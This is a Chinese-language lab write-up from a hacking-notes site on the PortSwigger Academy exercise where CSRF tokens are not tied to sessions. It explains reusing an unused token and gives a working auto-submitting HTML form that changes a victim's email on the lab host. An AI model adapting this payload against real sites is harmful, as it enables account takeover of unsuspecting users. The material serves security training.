> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/csrf/csrf-token-not-tied-to-session.md).

# 令牌未绑定会话的 CSRF

令牌未绑定会话的 CSRF 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### CSRF：令牌未与用户会话绑定

#### 实验目标

通过 CSRF 攻击更改受害者的电子邮件地址。该应用使用 CSRF 令牌，但它们 **未与用户会话关联**.

#### 观察

每个 CSRF 令牌 **仅可使用一次**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3938ef3724821057344d9226944dce7be170654%2F%7B65FB9241-4579-4E37-8EA5-AA2EF11B897A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 这些令牌 **未与会话关联**：通过用户 A 获取的令牌可用于攻击 B。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d2667b1d901636b8c2b73909b219c4c666a3769%2F%7BAB04E45C-F9F7-426F-96AD-48EB82B231A1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3e92e1ff9189e224f51e3ff2f9f620732a4cfe0f%2F%7B753795FD-AF32-422B-92CC-D7BB501B017D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 操作策略

1. **获取新的 CSRF 令牌** 而不使用它（拦截新的请求以获取仍然有效的令牌）。
2. **托管一个恶意表单** 在漏洞服务器上，通过重用以下内容发送一个 POST 请求来更改电子邮件地址： **此令牌**.
3. 当受害者访问陷阱页面时，表单会自动发送并 **修改其电子邮件地址**.

```html
<form class="login-form" name="change-email-form" action="https://0abb002803dad06d8096038d003a0088.web-security-academy.net/my-account/change-email" method="POST">
          <input required="" type="email" name="email" value="hacked@byjordan.com">
           <input required="" type="hidden" name="csrf" value="LMds3vzdHoalpvvZ6EHmKpg2M00olc4A">
  </form>

<script>
   document.forms[0].submit();
</script>
```


---

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